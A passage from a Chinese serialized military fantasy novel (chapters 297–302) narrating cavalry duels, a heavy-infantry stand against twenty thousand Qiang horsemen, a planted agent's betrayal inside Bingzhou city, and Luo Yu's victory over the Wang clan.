一支弩箭擦着他的铁盔飞过,在面甲上刮出一道刺目的火星,身后不断传来骑兵坠马的闷响与惨叫。
但段方知道此刻绝不能停,骑兵冲锋,一鼓作气,再而衰,三而竭!
只见他挺枪向前,高声怒吼:
“贴上去!肉搏!”
“给我杀!”
蒙虎的怒吼声几乎同时响起:
“陷阵之士!”
“有死无生!”
“砰砰砰!”
“嗤嗤嗤!”
两军凿阵!
数不清的战马狠狠撞在一起,一杆杆长枪笔直刺出,带起团团血花。
金戈铁马、血肉纷飞,战场的血腥与恐怖在这一刻彰显无疑!
蒙虎的长枪如毒龙出洞,瞬间洞穿两名敌骑的咽喉。紧跟着手腕一抖,枪尖划出一道弧光,第三名骑兵的胸甲应声碎裂,鲜血从铠甲的缝隙中喷涌而出。
宛如杀神!
段方第一时间就锁定了铁塔般的身影,厉声怒吼:
“鼠辈休狂!”
一杆长枪直取蒙虎前胸!
“敢叫我鼠辈?老子今日倒是长见识了。”
蒙虎狞笑一声,手中长枪狠狠砸出:
“铛!”
清脆巨响,段方的双臂猛地一颤,手中兵器差点脱手而出,眼神变得无比凝重。
但毕竟是王家数一数二的精锐悍将,段方稳住身形,左手一压枪杆,枪尖划出一道诡异的弧线,直钻蒙虎咽喉。
“倒有点本事。”
蒙虎讥讽一笑,脑袋微微一歪便躲开杀招,顺势转守为攻,枪尖反刺向其腋下。
段方面色微变,忙不迭地一扯缰绳,硬生生地改变战马前冲的方向才险之又险地避开这一枪,狼狈不堪。
两马交错而过,两人四目相对,都恶狠狠地瞪了对方一眼。
“杀!”
“砰砰砰!”
“嗤嗤嗤!”
两军锋线犹如大江浪潮,迎风相撞,不断往敌方阵中凿入,战场中吼声震天。
别看虎豹骑只有三千人,可他们的骁勇远胜王家军!
蒙虎率领千骑先冲,凭借百战老卒的悍勇一点点撕开了王家骑兵的锋线;
而后便是副将魏野再领千骑杀入战场,扩大优势;
等最后一千骑冲锋的时候已经将敌军前排锋线砸成了稀巴烂。
哀嚎声响彻寰宇,并州军阵中鸦雀无声。
三千骑对五千骑,竟然稳占上风!虎豹骑已经打破了他们对寻常骑兵的认知。
什么叫精锐?这就是精锐!
端坐马背上的王彦之面不改色,他比任何人都清楚洛家军的强悍,就没指望段方能赢。
他要的是拖住局面,一点点耗尽洛家军的体力,等羌兵来袭时再坐山观虎斗!
“杀!”
“砰砰砰!”
惨烈的战斗还在继续,并州城头也有人在观战。
屡屡败于洛羽手中的王星靠在城墙边,一副悠闲自得的模样。
虽说战场上己方暂时落入下方,可作为王风赞的儿子他很清楚王家的布局,在他看来此战必胜!
“啧啧,壮观啊。虎豹骑主将果然名不虚传,竟然如此强悍。”
王星砸吧着嘴:
“遇山,若是让你对阵蒙虎,能赢吗?”
常遇山望了一眼战场,苦笑着摇摇头:
“能不输就是极限了。”
“唔,那他真的好强。”
王星唏嘘一声,转而讥讽道:
“再强又能如何?此战过后,几万洛家军就会变成皑皑白骨!
什么洛家军、什么阙州铁骑,昙花一现罢了!”
“将军,我们真的能赢吗?”
常遇山略显忧心:
“我军兵力虽多,可洛家军战力强悍,单从战场局势来看想赢很难啊。”
“你就放心吧,胜利一定属于我们!”
王星满脸笑意,重重拍了拍他的肩膀:
“咱们的任务很简单,看住君世雍这个老东西,再守住城防。
遇山,我很看好你,好好替本将效命,我保证你官运亨通!”
“谢将军抬举!”
常遇山躬身抱拳,眼中闪过一抹精光:
“末将必鞍前马后,万死不辞!”
第298章三千重甲当万骑
玉屏山下
三千步卒静坐在地,双腿盘膝,闭目养神。
这是阙州第七营的老底子,石敢一手带出来的悍卒。随着各营陆续改编,陆铁山麾下第八营也转成云阳关驻军,还保留当初老营号的军伍仅此一支。
盾牌、长枪包括甲胄全都放在一旁,每人身上只有一件单衣。精黑色的甲胄仔细看上去与阙州军的制式甲胄略有不同,更厚实、更坚固,铁片包裹的面积也更大。
这是公输白的匠造司打造的一些拒马战甲,也可称之为重甲,防御力要比寻常甲胄强上许多。不过此等战甲打造起来十分麻烦,耗时耗力耗铁,截止现在军中只有一千余副,全都被石敢带出来了。
石敢坐在军阵最前方,目光远望。他们不是在打坐入定,而是在大战开始前尽可能地保留体力。重甲上身,对体力的消耗极大。
两万羌骑将至,所有人都知道这是一场有去无回的硬仗,可三千张坚毅的面庞格外平静,唯有杀意一点点在积聚。
遗书已经留好,一死何惧?
“哒哒哒!”
清脆的马蹄声响起,一标游弩手从远方疾驰而来,喝声滚滚:
“羌骑距此还有十里!”
“呼。”
石敢沉吸一口气,凝神怒喝:
“全军披甲!”
“布阵!”
秋风呼啸,阴云笼罩。
云层似乎感受到了弥漫天地的杀意,不断翻滚奔腾,给人一种极致的压抑感。
“隆隆!”
“轰隆隆!”
大地开始微微颤动,杂草低伏着脑袋,好似预感到了什么危险,轰鸣的马蹄声骤然作响,天地变色。
数以万计的胡服骑军跃出地平线,苍狼逐日旗漫天飞舞,在狂风中猎猎作响。沉闷的马蹄声仿佛踏在每一名步卒的胸口,倍感压抑。
不是两千骑,五千骑,而是整整两万骑!
“停马!”
“嘶嘶嘶!”
突然出现的军阵让羌兵止住了前冲的势头,而后迅速铺开战斗队形,一看就是身经百战的老卒。
一高一瘦两名武将越阵而出,驻马远望。
万户猛安帖木察、万户猛安乃蛮台,皆是草原悍将,也是此次领兵奔袭并州城的羌兵主帅。
“唔,有人拦路啊。”
帖木察轻笑一声:
“敌军的反应挺快,地形也选得不错,将阻击兵力放在这里咱们还真绕不过去。”
“区区三四千人,未免也太看不起我们了吧。”
乃蛮台讥讽道:“算算时间,此刻两家快决战了,看来洛羽手中已经无兵可调,否则不会只派三千人拦路。”
“垂死挣扎罢了。”
帖木察面无表情地说道:
“既然绕不过去,那就踩着三千人的死尸去并州城。”
“哪位将军前去破阵,为我大羌铁骑扬威!”
“末将塔塔尔,愿领兵冲阵,为全军开路!”
一名光头将领越阵而出,乃是军中千户谋克。
“准!”
帖木察轻轻一挥手:
“一个时辰内攻破拒马阵,你就是此战首功,本将亲自为你向殿下请赏!”
“谢将军!”
光头千户狞笑一声,策马向前,麾下一千余骑兵尽出。
塔塔尔挥舞着手中弯刀在阵前怒喝:
“草原的儿郎们,我们已经踏足陇西的土地,击败面前这支步卒,胜利就会属于我们!到时候你们皆是草原头等功臣。
良田美女奴隶,要什么有什么!”
“嚯!”
“给我杀!”
“杀!”
上千精骑呼啸而出,一柄柄泛着寒光的弯刀在空中飞舞,嘶吼鬼叫声响彻云霄,杀气腾腾。
他们从未与阙州军交过手,只听说现在的阙州军厉害得紧,没有亲身经历过自然不会把对面的步卒放在眼里,在所有羌兵眼中,这座不算厚实的拒马阵定会一触即溃。
三千人的拒马阵依旧平静如常,石敢沉喝一声:
“准备拒马,起阵!”
“轰!”
一面面盾牌斜举,第一排拒马步卒无一不是虎背熊腰之辈,人人肌肉鼓胀,用整条肩膀牢牢抵住盾牌。
“弓弩预备!”
羌骑极为熟练地弯弓搭箭,临战之前靠弓弩杀伤是老手段了。
“嗖嗖嗖!”
还不等他们放箭,耳边突然有一阵低沉的嘶鸣声炸响,塔塔尔望向天空,脸色豁然一变。
一支支狭长的床弩从天而降,不停洞穿羌骑的胸口,巨大的贯穿力将死尸牢牢钉在地上,鲜血飞溅。
“妈的,竟然带了强弩!卑鄙无耻!”
塔塔尔骂骂咧咧:
“杀!”
锋线逼近,骑军凿阵!
羌骑扯缰握鞭,狠狠往前撞去,真当马蹄踏上盾牌表面的那一刻他们就意识到不对劲了。
战马仿佛撞在了山石之上,坚不可摧,数不清的马蹄瞬间弯折,骨骼尽碎,紧跟着便有无数枪尖从盾牌上方探出,寒芒毕露。
一名羌骑从马背上被掀飞,身躯还在空中飞舞就有一杆长枪刺来,狠狠捅入他的胸口,空中炸出一团血花。
“砰砰砰!”
“嗤嗤嗤!”
“啊啊啊!”
一波波骑军锋线撞在盾阵前方,却发现拒马阵坚不可摧,枪尖更是锋利无比,他们赖以仰仗的冲击力好像完全失效了,无数人马挂尸而亡,放眼望去皆是鲜血飞溅。
“怎么可能。”
居中冲阵的塔塔尔瞳孔一缩,心底泛起一股不安,可骑军一旦冲起来就别想在停下,他只能咬牙凿阵。
到底是千户谋克,武艺不错,猛地一夹马腹,战马腾空而起,竟然直接越过最前方的盾牌,手中弯刀顺势往下一劈,刚好砸在一名步卒的胸口。
“铛!”
预想中的一刀毙命并未出现,反而是一声脆响,手臂被反震得发麻。
塔塔尔目瞪口呆,这甲胄的防御力也太惊人了吧!
失神间马蹄落地,不等他停稳就有一柄长枪从侧面斜刺而来,角度刁钻地逼向其咽喉。塔塔尔目光陡变,下意识地一扯缰绳,受惊的战马当场立起,砰的一声将其掀翻在地,灰尘四溅。
“扑通!”
倒地的那一刻,塔塔尔终于感受到一股死亡的气息,因为他看到灰尘中有一柄寒芒袭来,忙不迭地抬刀去挡。
“铛!”
“咔擦!”
强劲的力道竟然直接砍断了他的弯刀,黑色刀锋势如破竹地劈在他胸口处。
“噗嗤!”
一口鲜血狂喷而出,塔塔尔踉跄倒地,剧痛袭遍全身,紧跟着石敢就一脚踩在了他的胸口处。
塔塔尔的眼神中充斥着绝望与震惊:
好强,好强的步卒!
石敢面无表情地抬起刀锋:
“死吧!”
“噗嗤!”
刀锋滑落,光头落地。
不到一炷香的功夫,战场上就恢复了平静,两万羌骑鸦雀无声,甚至有不少人张大了嘴巴,喉咙苦涩。
一千骑几乎全军覆没,阙州拒马阵前垒起了一座小小的尸堆,残肢断臂铺满草地,惨不忍睹。
三千拒马阵的威力远超他们想象!
阵中立起一面硕大的军旗,乃是第七营的营旗。
主将石敢站在大军最前方,朗声喝道:
“开战之前,洛将军问我三千人能不能拦住两万骑,我说不知道。但我觉得能不能不重要,重要的是我们敢不敢!
你们可敢随本将一战!”
“敢!”
“哈哈,羌人小儿,竖起你们的耳朵好好听着!”
石敢单手持刀,仰天长啸:
“我三千悍卒,敢当两万兵锋!”
“第七营上下,必战至最后一兵一卒,想越过玉屏山,就拿千万条命来换!”
全军拔刀,怒声嘶吼:
“死战!”
第299章六千青丝束黑发
从日初清晨到日落黄昏,玉屏山下的喊杀声始终未曾停过。
万骑冲锋,悍卒拒马!
这一场以步对骑的阻击战终将会载入史册,后世史书记载,若无此战,陇西已亡。
两万羌兵轮番出动,千骑打残了,撤下来换一支千户队再上,确保始终是生力军在交战。可石敢只有三千人,换不了,只能尽可能让体力完好的将士站在军阵最前方拒马。
九轮凿阵,整整九轮凿阵!杀得昏天黑地。
羌兵打光了三个千户队,还有几个打残,也就是说他们的伤亡已经超过了对面的步卒。
战场上一片尸山血海,骑兵、步卒、战马的尸体残骸一层摞一层,筑起了一座座尸堆,鲜血的腥臭令人作呕,恐怖如地狱之景。
很多羌骑的眼神已经不是震惊了,而是一股恐惧,每次冲锋前他们都觉得这一次能破阵,可冲了一次又一次,拒马阵前的尸体依旧在不断增加。
下一次冲锋,死的会不会是自己?
拒马阵也不是固若金汤,从第六次凿阵开始拒马阵就松动不堪,歪歪斜斜的防线上已经凑不出一排精壮骁勇的汉子了,后面几轮交战都是勉强抵抗。
第七营的伤亡同样巨大!
第九次冲阵是最猛烈的一次,两个千户队同时凿阵,激战大半个时辰,两千人虽然因伤亡惨重而后退,可拒马阵也彻底破了。
“杀!”
“噗嗤噗嗤!”
尸堆中的战斗还在继续,失去战马无法撤退的百十名羌骑绝望地在血泊中摔打,没有半点逃生的可能。
刀光剑影,血肉纷飞。
石敢奋力挥刀砍向对面的黑脸千夫长,从出刀的速度和力道就能看出他的体力已经耗尽,站都站不稳了。
黑脸千户也好不到哪儿去,大腿处被砍出一道豁大的伤口,鲜血横流,面对石敢的强力一击只能勉强提刀格挡:
“铛!”
沉重的力道将其震翻在地,手中弯刀砰然掉落。石敢岂会放过如此良机?用尽浑身力气纵身一跃,刀锋当空劈下:
“死吧!”
黑脸千户吐出一口鲜血,目光惊恐无比:
“不,不要!”
“嗤!”
苍刀贯穿胸口,千夫长脑袋一歪,当场毙命。
精疲力竭的石敢跪倒在血泊中大口大口地喘着粗气,鲜血顺着胳膊不断往下滴落,不知道是敌人的血还是自己的。
鏖战一天,浑身甲胄早已破碎,手中苍刀已经换了三把,胸口隐隐作痛。
刚刚一轮冲阵,羌骑的战马直接撞在了他的胸膛,足足飞出去两步远,若不是战马冲击力已经减弱,再加上甲胄防身,此刻石敢已经死了。
真的没力气了。
凄厉的哀嚎声渐渐平息,羌兵尽数毙命,战场重回宁静。
石敢目光怅然地望向四周,第七营军卒已经伤亡过半,活着的最多千余人,几乎人人身负重伤,很难再与羌兵厮杀一场。
弓弩耗尽、拒马用的铁盾全部撞烂、长枪也在战马一轮轮冲锋中崩断,大家能用的兵器只剩苍刀。
接下来他们不存在任何列阵的可能了,只能用血肉之躯去迎接马蹄的践踏。换句话说,下一次进攻所有人都将战死沙场。
石敢踉跄着竖起第七营营旗,被鲜血染红的旗面迎风招展。还活着的将士很自然地聚集到营旗四周,有力气的就站着,没力气的就坐着,乌泱泱千人凑成一团,浑身甲胄污秽不堪,宛如从地狱中爬出来的恶鬼。
可他们的脸上没有绝望、没有恐惧,双眸中写满了坚定!
“呜!”
“呜呜!”
羌兵阵中再次响起嘹亮的号角声,更大规模的骑兵开始汇聚。其实仗打到这个份上,他们完全可以从战场两翼绕过去。
可两位万户猛安不甘心,死了这么骑兵精锐,他们誓死要将所谓的第七营统统踩成肉泥。如果此战绕阵而过,将会成为他们永远的心魔。
“好累啊。”
石敢惨然一笑,舔了舔干裂的嘴唇,半躺在尸堆中呢喃着:
“它娘的,两万人真多,怎么杀都杀不完。”
“哈哈哈!”
横七竖八躺着的汉子们轰然大笑,完全感受不到死亡来临前的悲伤。
“第七营的将士们,你们都是陇西最勇敢的男儿!”
石敢面朝苍穹,振臂怒喝:
“人终有一死,或重于泰山,或轻于鸿毛,今日我等战死沙场,为的是陇西安宁!为的是三州百姓。
值!”
“陇西边军,岂惧一死!”
千柄苍刀高悬空中,怒吼声震天动地:
“杀!”
三千悍卒,敢当万骑!
还未等羌骑发动最后一次冲锋,后方陡然传出隆隆的马蹄声,引得全场注目。
茫茫黑袍跃出地平线,数以千计的战马滚滚而来,当看到那面“顾”字军旗时石敢愣住了,怎么是顾家军?
顾家军经过尸山血海时无不面露震撼,看向千余残兵的目光更是充满了敬意。
洛家军死战之名陇西皆知,可真的亲眼看到如此惨烈的景象何人不心惊?
这是一支何等勇敢不屈的军伍啊。
不仅是勇敢,还有强悍!
三千当两万,厮杀一天,竟然还有这么多人活着。
强悍如斯!
顾剑路过石敢身侧时,四目相对,两人同时微点额头,一切尽在不言中。
六千精骑绕过尸山血海,至空旷处列阵以待。顾家以剑术闻名,但骑军依旧是清一色长矛弯刀,矛尖之上绑缚着的青色随风飘动,蔚为壮观。
这一幕被羌兵尽收眼底,刚想冲锋的势头硬生生被止住了。
帖木察的表情无比凝重:
“看来今日想要越过玉屏山还真不是一件容易事啊,若是再不赶到并州城,只怕陇西决战已经要结束了。”
“那就来多少杀多少!”
乃蛮台目光冰冷,紧握长枪:
“不要与他们打消耗战了,一鼓作气,踏平玉屏山!”
“全军备战!”
上万精骑汇聚,两位万户打算倾力一搏,彻底打通奔袭并州城的通道。
顾剑策马阵前,面朝全局将士:
“陇西之乱,历时数月,三州烽火连天,罪魁祸首便是王家!我顾剑瞎了眼,带着兄弟们助纣为虐、与奸贼为伍,有违历代先祖之训!愧对全族,愧对诸位将士!
从此刻起,我便不再是顾家家主了,日后你们当另选贤能担之。”
全军鸦雀无声,一些性格粗狂的汉子更是目光涨红,王家之险恶已经被所有人看穿,谁愿意与他为伍!
“一个月前就在这里,就在玉屏山脚下,我带着你们杀了数千边军将士,是非不分,忠奸不辩,杀同胞而助奸贼。
我本该自裁以谢亡灵!”
顾剑的嗓音不断拔高,眼中有无尽杀的悔恨与意涌动:
“可羌兵入境,国难当头,生灵涂炭,身为陇西男儿自当为家园而战,护卫三州百姓!
自裁是懦夫,唯有战死疆场才是男儿本色!
我曾听闻洛将军说过这么一句话,陇西三州本为一体,何分你我?阙州的将士们打光了,该我们了!
顾剑恳求诸位,随我再战玉屏山!纵使敌骑两万又有何惧!
用我们的长矛弯刀,屠尽羌贼!”
“轰!”
全军抱拳怒喝:
“愿随将军一战!”
顾剑的眼眶中泛出两滴热泪,六千道坚毅的身影,哪怕明知是一场绝户仗也无一人怯战。
不愧是陇西儿郎!
“呼。”
他长出一口气,解开剑锋之上的青丝系在头顶,束起满头黑发。六千将士的动作如出一辙,人人取青丝,束黑发,全军鸦雀无声,唯有冲天杀意在凝聚。
“就让我顾剑死在马背上吧。”
青锋出鞘,顾剑面目狰狞,仰天怒喝:
“起矛!”
第300章群英皆至并州城
并州城外厮杀了一整天,双方十万军卒从清晨打到黄昏,吼声震天不绝。
不过双方的阵型依旧稳固如初,因为他们没有展开全军混战,而是各军轮番出手,互相试探,撕扯阵型。
大规模交锋就是这样,阵型远比兵力要重要得多。
虎豹骑先战,阵斩敌骑两千,而后回阵休息;接着便是阙州卫、血归军左右出击,王家骑兵倾巢而出,好不容易挡住了两军的攻势;再然后是双方步卒出马,依靠长枪弓弩层层推进,对峙半天并未分出胜负。
但王家众将已经感受到了一股莫大的压力,洛家军之骁勇令他们心惊胆战,每一次交战都陷入劣势,如果不是己方兵力占优,只怕大军已经落败。
“轰隆隆!”
“砰砰砰!”
战场上有两支骑军在交战,又是虎豹骑与并州外姓武将第一人段方,不过段方手里的五千骑已经变成了三千骑。
都休息了半日,但双方的气势却截然不同。虎豹骑一如既往的气势如虹,一杆杆长枪刺穿敌骑胸膛,凶悍往敌阵深处凿入;可王家军已经有些胆寒,阵型松散,隐隐有避战的趋势。
如果不是开战之前王彦之下过死命令,怯战者杀无赦,只怕这些数千骑军早已溃败。
蒙虎还是那尊杀神,枪尖横挥间已经将数骑斩于马下,周遭愣是空出一个大圈,无人敢靠近一步。
“段方,该你受死了!”
蒙虎第一时间就锁定了段方的背影,策马前冲,长枪斜刺:
“敢说老子是鼠辈,你还真是天底下独一份!”
“妈的,阴魂不散!”
段方面色铁青,此前交手几轮他已经见识了蒙虎的强悍,哪还有当初的嚣张,可你总不能逃吧?只能接招。
只见他回身横刀,长枪已如毒蛇般刺近身前,“铛”的一声巨响,枪尖正中刀身,震得段方虎口发麻。
“鼠辈?”
蒙虎狞笑,枪势不停,借着马势又是一记横扫:
“今日就让你看看,谁才是鼠辈!”
这一枪势大力沉,甚至有破风声呼啸。
段方慌忙俯身,枪尖擦着他的铁盔掠过,带起一串火星,战马都受惊嘶吼。他心中大骇,蒙虎的力道竟然比清晨交手时更盛三分,这家伙怎么越打越勇?
两骑交错而过,各自冲出十余步后同时拨转马头。蒙虎的动作行云流水,手中长枪斜指地面,枪尖上还滴着不知哪个王家骑兵的血:
“三招之内,要你的狗命!”
“狂妄!”
段方面色铁青,额头青筋暴起。身为并州外姓武将第一人,何曾受过这等羞辱?竟然催马前冲,主动进攻,弯刀在空中划出一道寒光,直取蒙虎咽喉。
蒙虎不避不闪,长枪如蛟龙出海,精准地击中马刀侧面,金铁交鸣声震耳欲聋,段方只觉手臂一麻,马刀险些脱手。
“一招!”
蒙虎的枪势却未受阻,顺势一挑,枪尖直奔段方面门,逼得他猛地后仰,枪尖擦着他的鼻尖掠过,差点刺入咽喉,冷汗瞬间浸透了后背的衣衫。
两骑再次交错,蒙虎忽然变招,长枪回扫,重重拍在段方战马的后腿上。战马吃痛嘶鸣,前蹄高高扬起,险些将段方掀下马背。
“两招!”
蒙虎突然暴喝,长枪化作一道黑影直刺而来。段方紧咬牙关举刀格挡,却见那枪尖在半空诡异地划了个弧线,改刺为扫,重重砸在他的左肩上。
一声闷响,肩甲凹陷。段方痛呼一声,左臂顿时使不上力气,蒙虎狞声怒喝:
“死吧!”
话音未落,蒙虎的长枪如闪电般刺出,精准地穿过段方胸甲的缝隙,透背而出。段方双眼圆睁,鲜血狂喷,瞬间咽气。
三招阵斩敌将!
蒙虎单臂发力,竟将死尸挑离马背,高高举起,然后用力一甩,砸飞出老远。
死尸坠地的那一刻全场都安静了,这是何等神力啊。
“撤,快撤啊!”
主将战死吓破了仅剩骑军的胆子,顾不得王彦之的军令,纷纷溃退,仓皇逃回军阵,遗留下一地死尸。
蒙虎仰天长啸:
“何人敢与虎豹骑一战!”
“杀!”
数千悍卒的怒吼声响彻云霄,对面王家军阵愣是被震得鸦雀无声,他们总感觉只要洛羽一声令下,三千虎豹骑就敢硬冲六万人的大阵。
“该死的,羌兵怎么还没到!”
蒙虎的嚣张令王彦之愤怒无比:
“总不至于六千顾家军就能拦住两万人吧,难道羌骑都是吃屎长大的?”
“隆隆!”
“轰隆隆!”
骂声刚刚落下,天边还真传出了轰鸣的马蹄声,王彦之面色一喜:
“来了!”
久候多时的两万羌兵终于到了!洛羽终于要惨死在乱军之中!
可等数以千计的战马跃出地平线,看到一面面“洛”字军旗迎风飘扬的时候王彦之彻底傻眼了:
“怎么可能!”
他第一眼就认出了阵前的墨色身影,除了君墨竹还能有谁?君沉老将军目光冰冷,策马向前:
“王彦之,今日就是你的死期!”
当初两人带走的是一万步卒,现在竟然变成了五千精骑五千步卒!
洛羽和君墨竹的嘴角同时勾起了一抹笑容,君家哪里是被迫停战啊,分明是去定州境内接受阙州运来的战马!再回师并州城参与决战。
从侧面涌现的一万悍卒与洛羽形成了夹角之势,隐约间围住了王家军,仅有的兵力优势在顷刻间荡然无存,阵中一片骚乱,很多将领的脸色都白了几分。
这要是开打,己方必败无疑。
“不可能,绝对不可能!”
那么好的一场算盘全都落空,王彦之牙呲欲裂,咬牙切齿的吼道:
“君墨竹,难道你不顾你爹的命了吗!”
顾剑叛变是意外,可君墨竹凭什么出现?君世雍还在王家手里!
沉默,君墨竹没有任何回应,只是冷冷地注目远眺。
“妈的,这是你自找的!”
王彦之朝城头上怒吼:“给我把君世雍的人头砍下来,祭旗!”
同样处在茫然的王星瞬间回神,骂骂咧咧:
“来人,把那个老东西拉过来!”
常遇山将五花八门的老人推上城头,手中弯刀就架在他脖颈处。
老人竟然不觉得害怕,反而欣慰一笑:
“墨竹,你做得对!切莫与如此奸贼为伍,要替全族报仇雪恨!”
“君墨竹,你还有最后一次机会!”
王彦之依旧不死心:
“只要你现在进攻洛家军,我就饶你爹一命!”
这次君墨竹终于开口了,只说了三个字:
“随便你。”
“无君无父的败类奸贼!”
王彦之都快气疯了,手掌一挥:
“杀!”
“噗嗤!”
刀锋捅入身体,沉闷的声响让所有人都傻眼了。
常遇山手中的刀没有砍向君世雍,反而捅入了王星的后背。
“你,你……”
鲜血喷涌而出,王星看着破体而出的刀尖,绝望又凄惨,带着数不清的疑问瘫倒在地。
全场死寂,三军愕然。
常遇山负手而立,嘴角上扬,朗声高喝:
“玄岐军校常遇山,问候王大人!”
第301章雨落三州定陇西
鲜血缓缓流淌,王星的尸体逐渐冰冷。
其他几名亲信校尉在片刻的震惊后终于回过神来,拔刀怒斥:
“常遇山,你这个叛徒!给我杀了他!”
“嗤嗤嗤!”
几人话音刚落,几柄弯刀便捅进了他们的后背,一众军卒冷冷地看着他们,无一人上前围杀。
常遇山面带微笑,王星可是把亲兵军权都交给他了,军中早就被他安插了自己人。
从此刻开始,并州城姓洛了,彻底切断了王彦之的退路!
乌云翻滚了一天,空中终于下起了淅淅沥沥的小雨。
蒙蒙雨珠在努力冲刷着大地上的血迹,好似要换一个新的人间。
“玄岐军校,玄岐军校。”
王彦之的表情茫然又绝望。
他听王星提起过此人,说是武功高强,曾与血归军主将吕青云大战数十合不分胜负。
本以为王家又得一员悍将,没想到竟然是洛羽安插进来的钉子!
为了这一战他准备了太多太多,先是联络羌人,前后夹击;而后请顾家军出马,为己方助力;最后以君世雍胁迫君墨竹背叛洛羽,削减其军力。
直到现在,三招皆被洛羽一一化解。
浓浓不安从心底涌现,他甚至不知道接下来该怎么办。
“星儿!星儿!”
最悲痛欲绝的莫过于王风赞了,牙呲欲裂,亲眼看着儿子惨死在面前,撕心裂肺的喊声回荡天际,两行热泪夺眶而出。
他就这么一个儿子啊!
可嘶吼声不会引来任何的同情,因为三个多月前他们杀死过无数君家族人,动手之时就该想过会有今天。
血债,终究要血偿!
洛羽与萧少游的嘴角勾起一抹轻笑,常遇山真的是并州人,可自幼父母双亡,流亡到了阙州,而后成为边军的一员。
他的父母是怎么死的?就是被一个王家族人迫害致死,家产皆被侵吞!
常遇山还有另外一个身份,玄岐军校第二届武状元!
去年寒山关之战尚未结束,洛羽和萧少游就从军中挑选精锐将校,秘密插入并州、定州军中。
本意是让他们在两州军中攀爬、掌握兵权,必备不时之需。哪知道还没等这些人升官,王家便突然发难,三州开战!
所以从常遇山第一次与吕青云交手便是设计好的,为的就是帮他迅速获取王星的信任,成为安插在并州核心的一颗钉子!
否则王星怎么可能一而再再而三的从洛家军手中逃脱,真当自己是福将?
凌桐目瞪口呆:
“所以君公子假装离开是早就设计好的,君大人的安危根本用不着担心?”
“没错。”
洛羽讥讽一笑:
“王彦之如果没有绝对答案,又怎么敢率领全军主力出城决战呢?
相比于强攻并州城,我更愿意他出城野战!”
顾剑娘亲中毒的背后隐秘也是墨冰台查出来的,环环相扣!
“妙,妙计啊!”
凌桐再一次被洛羽和萧少游的智谋震惊了,合着两人早就洞察了一切!
萧少游目光冰冷:
“我们唯一没料到的就是王彦之会与羌人私通,放开寒山关让两万羌骑入境。
没有石敢和顾剑,此战咱们必输无疑。”
“自作孽不可活。”
洛羽策马前行,朗声怒喝:
“王彦之!并州城陷,你军根基尽毁!降了吧!降了还可以给将士们留条活路!”
“降?”
“怎么可能!”
王彦之怒目圆睁,死死攥紧拳头:
“我军尚有五万之众!胜负尚未可知!
洛羽,今日我们就在并州城外一决生死!”
王彦之的眼神中充斥着一抹疯狂,他知道任何人降都有可能活,唯独自己必死无疑!他手上沾了太多的血!
既然降也是死,为何不放手一搏呢?
“死到临头还冥顽不灵,真是该死!”
洛羽不知何时出现在了大军阵前,玄甲在身,朗声高喝当初梅雪崖写的讨贼檄文:
陇西三州,血脉同根,山河共济。
吾本怀仁,不忍兵戈相向,使黎庶蒙难。
然王氏豺狼成性,蛇蝎为心,欺天罔地,残害忠良,罪恶滔天,神人共愤!更是苛政如虎,横征暴敛,致使并州民不聊生;
构陷良善,冤狱遍野,老弱填沟壑,壮者鬻子女。其恶贯盈,天怒人怨,不诛此贼,陇西无宁!
昔以婚约为饵,设伏行诈,刺杀巡阅使上官熙,以此栽赃,屠我阙、定将士,血染喜堂;更灭君氏满门,老幼不留,此恨刻骨,此仇不共戴天!
今本将军奉天伐罪,举义旗以清妖氛。王氏无道,虐民逞凶,吾辈当替天行道,拯百姓于水火。
凡我陇西义士,当执戈而起,共诛国贼!
檄文念完,洛羽怒喝道:
“并州的将士们!真相已经大白于天下!莫要再助纣为虐!
战端一开,自行离去者本将军承诺不伤一人!若是冥顽不灵,必成荒野枯骨!”
“杀!杀!杀!”
三声怒吼冲天而起,震得王家军心惊胆战,军中果然出现了不小的骚动。
王彦之暴怒无比:
“大战之际,敢后退一步者,杀无赦!”
洛羽屏气凝神,抬枪向前:
“起矛!”
数万精骑,长矛如林!
“帅旗前压!”
“全军开战!”
“轰隆隆!”
数以万计的兵马展开了对冲,这次不再是一军一军轮番出战,双方一出手便是全力。
马蹄滚滚,血水飞溅。
长枪向前,杀意冲天!
一面“洛”字帅旗高悬当空,两千亲兵营居中冲阵,再后方便是数以万计的洛家悍卒。
帅旗所至,所向披靡!
“砰砰砰!”
“嗤嗤嗤!”
“啊啊啊!”
两军凶悍对撞,骑兵锋线就像浪潮汇聚,刹那间便有无数战马嘶鸣,血肉横飞。
洛羽一人一枪,率先杀入阵中,眨眼间便有三骑毙命枪下。岳伍许韦护卫左右,一杆杆长矛出手,必有人头滚落!
两千精骑就像是一柄尖刀,迅速撕裂敌方骑阵,无人可当兵锋。
虎豹骑、血归军、阙州卫,四处出击,不断切割敌阵,搅得王家军混乱不堪。
别看大家都是倾巢而出,可萧少游还在将台指挥!他根据战场的态势不断下达变阵的号令,骑兵步卒总是能精准地打垮敌军薄弱处,一点点积累优势。
白衣之强,可顶万骑!
“还我儿命来!”
洛羽刚冲杀到阵中深处,王风赞的怒吼声便回荡在耳畔。
双目猩红的他已经疯了,毫无理智可言,长枪横挥:
“替我儿偿命!”
“铛!”
两枪对拼,撞击出的火星在雨幕中炸开,王风赞的手臂猛然一颤,虎口被震出血花。
他怎么可能是洛羽的对手?
“还你儿子的命?那君家上下上千条人命谁来还!”
洛羽怒目圆睁,单手抡出长枪,直钻王风赞的心窝,速度奇快无比。王风赞躲之不及,只能奋力扭身,枪尖依旧在腰腹处刺出一道血痕。
“自作孽,不可活!”
洛羽并没有罢手的意思,枪尖刚刚飘过便顺势一横,直接砸在王风赞的胸口。
“噗嗤!”
王风赞猛地喷出一口鲜血,紧握长枪,不管不顾地刺出:
“我跟你拼了!”
“铛!”
洛羽右手持枪一挡,两人僵持,左手顺势抽出苍刀,以迅雷不及掩耳之势划向他的咽喉。
“嗤!”
一道血箭飙射而出,王风赞绝望地捂住咽喉,颓然坠马。
电光火石的交手,高下立判!
“将军,将军死了!”
“王将军战死了!”
王风赞可是并州将军!王家武将之首,他的死引发了大范围的骚乱,本就在苦苦支撑的并州军人心惶惶,逐渐溃散。
一人拖枪跑路终将会演变成全军丢盔弃甲。
王彦之浑身一颤,面如死灰:
“完了,完了。”
他知道,今天天王老子来了也救不了他。
雨势越来越大,打湿了所有人的脸颊,也在一遍遍冲刷着满地鲜血,血腥味冲天而起。
洛羽的目光穿透重重战场,紧盯王彦之,提枪怒吼:
“雨落三州之时,便是陇西一统之日!”
“你败了!”
第302章头落方知谁是谁
又是一天清晨。
雨停了。
夏末初秋的暴雨总是说来就来,说走就走,不知道是不是老天爷在哭泣,在为陇西的将士们哀鸣。
